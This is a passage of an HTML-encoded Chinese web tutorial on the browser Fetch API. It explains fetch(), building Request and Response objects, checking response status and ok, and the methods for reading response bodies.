class=\"token function\">fetch</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">response</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span><span class=\"token comment\">/* &#x54CD;&#x5E94;&#x7ED3;&#x679C;&#x5904;&#x7406; */</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x53EF;&#x4EE5;&#x770B;&#x5230;&#xFF0C;<code>fetch()</code> &#x9700;&#x8981;&#x4F20;&#x5165;&#x4E00;&#x4E2A; Request &#x5BF9;&#x8C61;&#x4F5C;&#x4E3A;&#x53C2;&#x6570;&#xFF0C;<code>fetch()</code> &#x4F1A;&#x6839;&#x636E; request &#x5BF9;&#x8C61;&#x6240;&#x63CF;&#x8FF0;&#x7684;&#x8BF7;&#x6C42;&#x4FE1;&#x606F;&#x53D1;&#x8D77;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#xFF1B;&#x7531;&#x4E8E;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x8FC7;&#x7A0B;&#x662F;&#x4E2A;&#x5F02;&#x6B65;&#x8FC7;&#x7A0B;&#xFF0C;&#x56E0;&#x6B64; <code>fetch()</code> &#x4F1A;&#x8FD4;&#x56DE; Promise &#x5BF9;&#x8C61;&#xFF0C;&#x5F53;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x65F6; Promise &#x6267;&#x884C; resolve &#x5E76;&#x4F20;&#x56DE; Response &#x5BF9;&#x8C61;&#x3002;</p>\n<p>&#x9664;&#x4E86;&#x76F4;&#x63A5;&#x4EE5; Request &#x5BF9;&#x8C61;&#x4F5C;&#x4E3A;&#x53C2;&#x6570;&#x4E4B;&#x5916;&#xFF0C;<code>fetch()</code> &#x8FD8;&#x652F;&#x6301;&#x4F20;&#x5165;&#x8BF7;&#x6C42; URL &#x548C;&#x8BF7;&#x6C42;&#x914D;&#x7F6E;&#x9879;&#x7684;&#x65B9;&#x5F0F;&#xFF0C;<code>fetch()</code> &#x4F1A;&#x81EA;&#x52A8;&#x6839;&#x636E;&#x8FD9;&#x4E9B;&#x53C2;&#x6570;&#x5B9E;&#x4F8B;&#x5316; Request &#x5BF9;&#x8C61;&#x4E4B;&#x540E;&#x518D;&#x53BB;&#x53D1;&#x8D77;&#x8BF7;&#x6C42;&#xFF0C;&#x56E0;&#x6B64;&#x4EE5;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x5C55;&#x793A;&#x7684;&#x8BF7;&#x6C42;&#x65B9;&#x5F0F;&#x90FD;&#x662F;&#x7B49;&#x4EF7;&#x7684;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">new</span> <span class=\"token class-name\">Request</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/path/to/resource&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>method<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;GET&apos;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x7B49;&#x4EF7;&#x4E8E;</span>\n<span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/path/to/resource&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>method<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;GET&apos;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x9700;&#x8981;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;<code>fetch()</code> &#x53EA;&#x6709;&#x5728;&#x7F51;&#x7EDC;&#x9519;&#x8BEF;&#x6216;&#x8005;&#x662F;&#x8BF7;&#x6C42;&#x4E2D;&#x65AD;&#x7684;&#x65F6;&#x5019;&#x624D;&#x4F1A;&#x629B;&#x51FA;&#x5F02;&#x5E38;&#xFF0C;&#x6B64;&#x65F6; Promise &#x5BF9;&#x8C61;&#x4F1A;&#x6267;&#x884C; reject &#x5E76;&#x8FD4;&#x56DE;&#x9519;&#x8BEF;&#x4FE1;&#x606F;&#x3002;&#x56E0;&#x6B64;&#x5BF9;&#x4E8E; <code>fetch()</code> &#x6765;&#x8BF4;&#xFF0C;&#x670D;&#x52A1;&#x7AEF;&#x8FD4;&#x56DE;&#x7684; HTTP 404&#x3001;500 &#x7B49;&#x72B6;&#x6001;&#x7801;&#x5E76;&#x4E0D;&#x8BA4;&#x4E3A;&#x662F;&#x7F51;&#x7EDC;&#x9519;&#x8BEF;&#xFF0C;&#x56E0;&#x6B64;&#x9664;&#x4E86;&#x68C0;&#x67E5; Promise &#x662F;&#x5426; resolve &#x4E4B;&#x5916;&#xFF0C;&#x8FD8;&#x9700;&#x8981;&#x68C0;&#x67E5; Response.status&#x3001;Response.ok &#x7B49;&#x5C5E;&#x6027;&#x4EE5;&#x786E;&#x4FDD;&#x8BF7;&#x6C42;&#x662F;&#x5426;&#x6210;&#x529F;&#x54CD;&#x5E94;&#x3002;&#x4E0B;&#x9762;&#x7684;&#x793A;&#x4F8B;&#x4EE3;&#x7801;&#x901A;&#x8FC7;&#x68C0;&#x67E5;&#x54CD;&#x5E94; status &#x662F;&#x5426;&#x4E3A; 200 &#x6765;&#x5224;&#x65AD;&#x8BF7;&#x6C42;&#x662F;&#x5426;&#x6210;&#x529F;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/path/to/resource&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">response</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>response<span class=\"token punctuation\">.</span>status <span class=\"token operator\">===</span> <span class=\"token number\">200</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x8BF7;&#x6C42;&#x6210;&#x529F;</span>\n  <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x8BF7;&#x6C42;&#x5931;&#x8D25;</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">err</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x5931;&#x8D25;&#x6216;&#x8BF7;&#x6C42;&#x88AB;&#x4E2D;&#x65AD;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h3 id=\"request\"><a name=\"request\" class=\"anchor-navigation-ex-anchor\" href=\"#request\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"request\" class=\"plugin-anchor\" href=\"#request\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Request</h3>\n<p>Request &#x662F;&#x4E00;&#x4E2A;&#x7528;&#x4E8E;&#x63CF;&#x8FF0;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x7C7B;&#xFF0C;&#x901A;&#x8FC7; Request() &#x6784;&#x9020;&#x51FD;&#x6570;&#x53EF;&#x4EE5;&#x5B9E;&#x4F8B;&#x5316;&#x4E00;&#x4E2A; Request &#x5BF9;&#x8C61;&#xFF0C;&#x5176;&#x8BED;&#x6CD5;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Request</span><span class=\"token punctuation\">(</span>input<span class=\"token punctuation\">,</span> init<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5176;&#x4E2D;&#xFF0C;input &#x4EE3;&#x8868;&#x60F3;&#x8981;&#x8BF7;&#x6C42;&#x7684;&#x8D44;&#x6E90;&#xFF0C;&#x53EF;&#x4EE5;&#x662F;&#x8D44;&#x6E90;&#x7684; URL&#xFF0C;&#x6216;&#x8005;&#x662F;&#x63CF;&#x8FF0;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684; Reqeust &#x5BF9;&#x8C61;&#xFF1B;init &#x4E3A;&#x53EF;&#x9009;&#x53C2;&#x6570;&#xFF0C;&#x53EF;&#x4EE5;&#x7528;&#x6765;&#x5B9A;&#x4E49;&#x8BF7;&#x6C42;&#x4E2D;&#x7684;&#x5176;&#x4ED6;&#x9009;&#x9879;&#x3002;&#x53EF;&#x4EE5;&#x6CE8;&#x610F;&#x5230;&#xFF0C;Request &#x6784;&#x9020;&#x51FD;&#x6570;&#x6240;&#x9700;&#x53C2;&#x6570;&#x4E0E; <code>fetch()</code> &#x65B9;&#x6CD5;&#x7684;&#x53C2;&#x6570;&#x662F;&#x4E00;&#x6837;&#x7684;&#x3002;&#x4E0B;&#x9762;&#x5C06;&#x901A;&#x8FC7;&#x4E00;&#x4E9B;&#x4F8B;&#x5B50;&#x6765;&#x6F14;&#x793A;&#x4E00;&#x4E9B;&#x5E38;&#x89C1;&#x8BF7;&#x6C42;&#x7C7B;&#x578B;&#x7684;&#x5B9E;&#x4F8B;&#x5316;&#x65B9;&#x6CD5;&#xFF1A;</p>\n<p>1.GET &#x8BF7;&#x6C42;&#xFF0C;&#x8BF7;&#x6C42;&#x53C2;&#x6570;&#x9700;&#x8981;&#x5199;&#x5230; URL &#x5F53;&#x4E2D;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> getRequest <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Request</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/api/hello?name=lilei&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>\n  method<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;GET&apos;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>2.POST &#x8BF7;&#x6C42;&#xFF0C;&#x8BF7;&#x6C42;&#x53C2;&#x6570;&#x9700;&#x8981;&#x5199;&#x5230; body &#x5F53;&#x4E2D;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> postRequest <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Request</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/api/hello&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>\n  method<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;POST&apos;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token comment\">// body &#x53EF;&#x4EE5;&#x662F; Blob&#x3001;FormData&#x3001;&#x5B57;&#x7B26;&#x4E32;&#x7B49;&#x7B49;</span>\n  body<span class=\"token punctuation\">:</span> <span class=\"token constant\">JSON</span><span class=\"token punctuation\">.</span><span class=\"token function\">stringify</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n    name<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;lilei&apos;</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>3.&#x81EA;&#x5B9A;&#x4E49;&#x8BF7;&#x6C42;&#x7684; Headers &#x4FE1;&#x606F;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> customRequest <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Request</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/api/hello&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x8FD9;&#x91CC;&#x5C55;&#x793A;&#x8BF7;&#x6C42; Content-Type &#x4E3A; text/plain &#x7684;&#x8D44;&#x6E90;</span>\n  headers<span class=\"token punctuation\">:</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Headers</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n    <span class=\"token string\">&apos;Content-Type&apos;</span><span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;text/plain&apos;</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>4.&#x8BBE;&#x7F6E;&#x53D1;&#x8D77;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x65F6;&#x5E26;&#x4E0A; cookie&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> cookieRequest <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Request</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/api/hello&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>\n  credentials<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;include&apos;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>init &#x5BF9;&#x8C61;&#x8FD8;&#x53EF;&#x4EE5;&#x914D;&#x7F6E;&#x5176;&#x4ED6;&#x53C2;&#x6570;&#xFF0C;&#x6B64;&#x5904;&#x5148;&#x4E0D;&#x505A;&#x5C55;&#x5F00;&#xFF0C;&#x5728;&#x540E;&#x7EED;&#x7684;&#x5185;&#x5BB9;&#x5F53;&#x4E2D;&#x4F1A;&#x9488;&#x5BF9;&#x4E00;&#x4E9B;&#x7279;&#x5B9A;&#x53C2;&#x6570;&#x505A;&#x8FDB;&#x4E00;&#x6B65;&#x8BF4;&#x660E;&#x3002;</p>\n<p>&#x7531;&#x4E8E;&#x5728;&#x540E;&#x9762;&#x5B9E;&#x73B0;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x62E6;&#x622A;&#x4EE3;&#x7406;&#x65F6;&#xFF0C;&#x9700;&#x8981;&#x5BF9;&#x62E6;&#x622A;&#x7684;&#x8BF7;&#x6C42;&#x8FDB;&#x884C;&#x5224;&#x65AD;&#x5206;&#x7C7B;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x5BF9; Request &#x5BF9;&#x8C61;&#x7684;&#x5C5E;&#x6027;&#x8FDB;&#x884C;&#x68C0;&#x67E5;&#xFF0C;&#x56E0;&#x6B64;&#x4ECB;&#x7ECD;&#x4E00;&#x4E0B; Request &#x5BF9;&#x8C61;&#x5E38;&#x7528;&#x7684;&#x51E0;&#x4E2A;&#x5C5E;&#x6027;&#xFF1A;</p>\n<ul>\n<li>url&#xFF1A;String &#x7C7B;&#x578B;&#xFF0C;&#x53EA;&#x8BFB;&#xFF0C;&#x8BF7;&#x6C42;&#x7684; url&#xFF1B;</li>\n<li>method&#xFF1A;String &#x7C7B;&#x578B;&#xFF0C;&#x53EA;&#x8BFB;&#xFF0C;&#x8BF7;&#x6C42;&#x7684;&#x65B9;&#x6CD5;&#xFF0C;&#x5982; &apos;GET&apos;&#xFF0C;&apos;POST&apos; &#x7B49;&#xFF1B;</li>\n<li>headers&#xFF1A;Headers &#x7C7B;&#x578B;&#xFF0C;&#x53EA;&#x8BFB;&#xFF0C;&#x8BF7;&#x6C42;&#x7684;&#x5934;&#x90E8;&#xFF0C;&#x53EF;&#x901A;&#x8FC7; get() &#x65B9;&#x6CD5;&#x83B7;&#x53D6; &apos;Content-Type&apos;&#xFF0C;&apos;User-Agent&apos; &#x7B49;&#x4FE1;&#x606F;&#x3002;</li>\n</ul>\n<p>&#x4E0B;&#x9762;&#x4E3E;&#x4F8B;&#x4F7F;&#x7528;&#x4EE5;&#x4E0A;&#x5C5E;&#x6027;&#x5BF9;&#x8BF7;&#x6C42;&#x8FDB;&#x884C;&#x5224;&#x65AD;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">.</span>url <span class=\"token operator\">===</span> <span class=\"token string\">&apos;https://example.com/data.txt&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">.</span>method <span class=\"token operator\">===</span> <span class=\"token string\">&apos;POST&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>reuqest<span class=\"token punctuation\">.</span>headers<span class=\"token punctuation\">.</span><span class=\"token function\">get</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Content-Type&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">===</span> <span class=\"token string\">&apos;text/html&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h3 id=\"response\"><a name=\"response\" class=\"anchor-navigation-ex-anchor\" href=\"#response\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"response\" class=\"plugin-anchor\" href=\"#response\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Response</h3>\n<p>Response &#x7C7B;&#x7528;&#x4E8E;&#x63CF;&#x8FF0;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x6570;&#x636E;&#xFF0C;&#x901A;&#x8FC7; Response() &#x6784;&#x9020;&#x51FD;&#x6570;&#x53EF;&#x4EE5;&#x5B9E;&#x4F8B;&#x5316;&#x4E00;&#x4E2A; Response &#x5BF9;&#x8C61;&#xFF0C;&#x5176;&#x5B9E;&#x4F8B;&#x5316;&#x8BED;&#x6CD5;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> response <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Response</span><span class=\"token punctuation\">(</span>body<span class=\"token punctuation\">,</span> init<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5176;&#x4E2D; body &#x53C2;&#x6570;&#x4EE3;&#x8868;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x8D44;&#x6E90;&#x5185;&#x5BB9;&#xFF0C;&#x53EF;&#x4EE5;&#x662F;&#x5B57;&#x7B26;&#x4E32;&#x3001;FormData&#x3001;Blob &#x7B49;&#x7B49;&#xFF1B;init &#x4E3A;&#x53EF;&#x9009;&#x53C2;&#x6570;&#x5BF9;&#x8C61;&#xFF0C;&#x53EF;&#x7528;&#x6765;&#x8BBE;&#x7F6E;&#x54CD;&#x5E94;&#x7684; status&#x3001;statusText&#x3001;headers &#x7B49;&#x5185;&#x5BB9;&#x3002;&#x4E0B;&#x9762;&#x4E3E;&#x4F8B;&#x8BF4;&#x660E;&#x5982;&#x4F55;&#x6784;&#x9020;&#x4E00;&#x4E2A; index.js &#x7684;&#x54CD;&#x5E94;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> jsResponse <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Response</span><span class=\"token punctuation\">(</span>\n  <span class=\"token comment\">// index.js &#x7684;&#x5185;&#x5BB9;&#x4E3A;&#xFF0C;&#x5728;&#x63A7;&#x5236;&#x53F0;&#x6253;&#x5370; &quot;Hello World!&quot;</span>\n  <span class=\"token string\">&apos;console.log(&quot;Hello World!&quot;)&apos;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x5B9A;&#x4E49;&#x72B6;&#x6001;&#x7801;&#x4E3A;&#x8BF7;&#x6C42;&#x6210;&#x529F;</span>\n    status<span class=\"token punctuation\">:</span> <span class=\"token number\">200</span><span class=\"token punctuation\">,</span>\n    <span class=\"token comment\">// &#x901A;&#x8FC7; headers &#x5B9A;&#x4E49; JS &#x7684; Content-Type</span>\n    headers<span class=\"token punctuation\">:</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Headers</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n      <span class=\"token string\">&apos;Content-Type&apos;</span><span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;application/x-javascript&apos;</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5728;&#x5B9E;&#x9645;&#x5E94;&#x7528;&#x5F53;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x4E00;&#x822C;&#x4F1A;&#x901A;&#x8FC7; <code>fetch()</code>&#x3001;Cache API &#x7B49;&#x7B49;&#x83B7;&#x5F97;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x5BF9;&#x8C61;&#xFF0C;&#x7136;&#x540E;&#x518D;&#x5BF9;&#x54CD;&#x5E94;&#x5BF9;&#x8C61;&#x8FDB;&#x884C;&#x64CD;&#x4F5C;&#x3002;</p>\n<h4 id=\"&#x5224;&#x65AD;&#x8BF7;&#x6C42;&#x662F;&#x5426;&#x6210;&#x529F;\"><a name=\"&#x5224;&#x65AD;&#x8BF7;&#x6C42;&#x662F;&#x5426;&#x6210;&#x529F;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5224;&#x65AD;&#x8BF7;&#x6C42;&#x662F;&#x5426;&#x6210;&#x529F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5224;&#x65AD;&#x8BF7;&#x6C42;&#x662F;&#x5426;&#x6210;&#x529F;\" class=\"plugin-anchor\" href=\"#&#x5224;&#x65AD;&#x8BF7;&#x6C42;&#x662F;&#x5426;&#x6210;&#x529F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5224;&#x65AD;&#x8BF7;&#x6C42;&#x662F;&#x5426;&#x6210;&#x529F;</h4>\n<p>&#x524D;&#x9762;&#x5728;&#x4ECB;&#x7ECD; <code>fetch()</code> &#x65F6;&#x63D0;&#x5230;&#xFF0C;&#x5BF9;&#x4E8E;&#x670D;&#x52A1;&#x7AEF;&#x8FD4;&#x56DE; HTTP 404&#x3001;500 &#x7B49;&#x9519;&#x8BEF;&#x7801; <code>fetch()</code> &#x4E0D;&#x4F1A;&#x5C06;&#x5176;&#x5F53;&#x6210;&#x7F51;&#x7EDC;&#x9519;&#x8BEF;&#xFF0C;&#x8FD9;&#x65F6;&#x5C31;&#x9700;&#x8981;&#x5BF9; Response &#x5BF9;&#x8C61;&#x7684;&#x76F8;&#x5173;&#x5C5E;&#x6027;&#x8FDB;&#x884C;&#x68C0;&#x67E5;&#x3002;</p>\n<ul>\n<li>status&#xFF1A;Number &#x7C7B;&#x578B;&#xFF0C;&#x5305;&#x542B;&#x4E86; Response &#x7684;&#x72B6;&#x6001;&#x7801;&#x4FE1;&#x606F;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x901A;&#x8FC7; status &#x5C5E;&#x6027;&#x8FDB;&#x884C;&#x72B6;&#x6001;&#x7801;&#x68C0;&#x67E5;&#xFF0C;&#x4ECE;&#x800C;&#x6392;&#x9664;&#x670D;&#x52A1;&#x7AEF;&#x8FD4;&#x56DE;&#x7684;&#x9519;&#x8BEF;&#x54CD;&#x5E94;&#xFF1B;</li>\n<li>statusText&#xFF1A;String &#x7C7B;&#x578B;&#xFF0C;&#x5305;&#x542B;&#x4E86;&#x4E0E;&#x72B6;&#x6001;&#x7801;&#x4E00;&#x81F4;&#x7684;&#x72B6;&#x6001;&#x4FE1;&#x606F;&#xFF0C;&#x4E00;&#x822C;&#x7528;&#x4E8E;&#x89E3;&#x91CA;&#x72B6;&#x6001;&#x7801;&#x7684;&#x5177;&#x4F53;&#x542B;&#x4E49;&#xFF1B;</li>\n<li>ok&#xFF1A;Boolean &#x7C7B;&#x578B;&#xFF0C;&#x53EA;&#x6709;&#x5F53;&#x72B6;&#x6001;&#x7801;&#x5728; 200-299 &#x7684;&#x8303;&#x56F4;&#x65F6;&#xFF0C;ok &#x7684;&#x503C;&#x4E3A; true&#x3002;</li>\n</ul>\n<p>&#x9664;&#x4E86;&#x4E0A;&#x8FF0;&#x63D0;&#x5230;&#x7684;&#x5C5E;&#x6027;&#x4E4B;&#x5916;&#xFF0C;&#x4E5F;&#x540C;&#x6837;&#x53EF;&#x4EE5;&#x501F;&#x52A9; headers &#x7B49;&#x5C5E;&#x6027;&#x8FDB;&#x884C;&#x8F85;&#x52A9;&#x5224;&#x65AD;&#xFF0C;&#x5177;&#x4F53;&#x68C0;&#x67E5;&#x65B9;&#x5F0F;&#x4E0E;&#x5B9E;&#x9645;&#x9700;&#x6C42;&#x6709;&#x5173;&#x3002;&#x4E0B;&#x9762;&#x4E3E;&#x4F8B;&#x5982;&#x4F55;&#x4F7F;&#x7528; ok &#x548C; status &#x8FDB;&#x884C;&#x5224;&#x65AD;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>response<span class=\"token punctuation\">.</span>ok <span class=\"token operator\">||</span> response<span class=\"token punctuation\">.</span>status <span class=\"token operator\">===</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// status &#x4E3A; 0 &#x6216; 200-299 &#x5747;&#x4EE3;&#x8868;&#x8BF7;&#x6C42;&#x6210;&#x529F;</span>\n<span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x8BF7;&#x6C42;&#x5931;&#x8D25;</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h4 id=\"&#x8BFB;&#x53D6;&#x54CD;&#x5E94;&#x4F53;\"><a name=\"&#x8BFB;&#x53D6;&#x54CD;&#x5E94;&#x4F53;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8BFB;&#x53D6;&#x54CD;&#x5E94;&#x4F53;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8BFB;&#x53D6;&#x54CD;&#x5E94;&#x4F53;\" class=\"plugin-anchor\" href=\"#&#x8BFB;&#x53D6;&#x54CD;&#x5E94;&#x4F53;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8BFB;&#x53D6;&#x54CD;&#x5E94;&#x4F53;</h4>\n<p>Fetch API &#x5728;&#x8BBE;&#x8BA1;&#x7684;&#x65F6;&#x5019;&#x5C31;&#x91C7;&#x7528;&#x4E86;&#x6570;&#x636E;&#x6D41;&#x7684;&#x5F62;&#x5F0F;&#x53BB;&#x64CD;&#x4F5C;&#x8BF7;&#x6C42;&#x4F53;&#x548C;&#x54CD;&#x5E94;&#x4F53;&#xFF0C;&#x8FD9;&#x6837;&#x5728;&#x4F20;&#x8F93;&#x5927;&#x6570;&#x636E;&#x6216;&#x5927;&#x6587;&#x4EF6;&#x65F6;&#x4F1A;&#x975E;&#x5E38;&#x6709;&#x4F18;&#x52BF;&#x3002;Response &#x7684; body &#x5C5E;&#x6027;&#x66B4;&#x9732;&#x4E86;&#x4E00;&#x4E2A; ReadableStream &#x7C7B;&#x578B;&#x7684;&#x54CD;&#x5E94;&#x4F53;&#x5185;&#x5BB9;&#x3002;Response &#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x4E9B;&#x65B9;&#x6CD5;&#x6765;&#x8BFB;&#x53D6;&#x54CD;&#x5E94;&#x4F53;&#xFF1A;</p>\n<ul>\n<li>text()&#xFF1A;&#x89E3;&#x6790;&#x4E3A;&#x5B57;&#x7B26;&#x4E32;&#xFF1B;</li>\n<li>json()&#xFF1A;&#x89E3;&#x6790;&#x4E3A; JSON &#x5BF9;&#x8C61;&#xFF1B;</li>\n<li>blob()&#xFF1A;&#x89E3;&#x6790;&#x4E3A; Blob &#x5BF9;&#x8C61;&#xFF1B;</li>\n<li>formData()&#xFF1A;&#x89E3;&#x6790;&#x4E3A; FormData &#x5BF9;&#x8C61;&#xFF1B;</li>\n<li>arrayBuffer()&#xFF1A;&#x89E3;&#x6790;&#x4E3A; ArrayBuffer &#x5BF9;&#x8C61;</li>\n</ul>\n<p>&#x8FD9;&#x4E9B;&#x65B9;&#x6CD5;&#x8BFB;&#x53D6;&#x5E76;&#x89E3;&#x6790;&#x54CD;&#x5E94;&#x4F53;&#x7684;&#x6570;&#x636E;&#x6D41;&#x5C5E;&#x4E8E;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;&#xFF0C;&#x56E0;&#x6B64;&#x8FD9;&#x4E9B;&#x65B9;&#x6CD5;&#x5747;&#x8FD4;&#x56DE; Promise 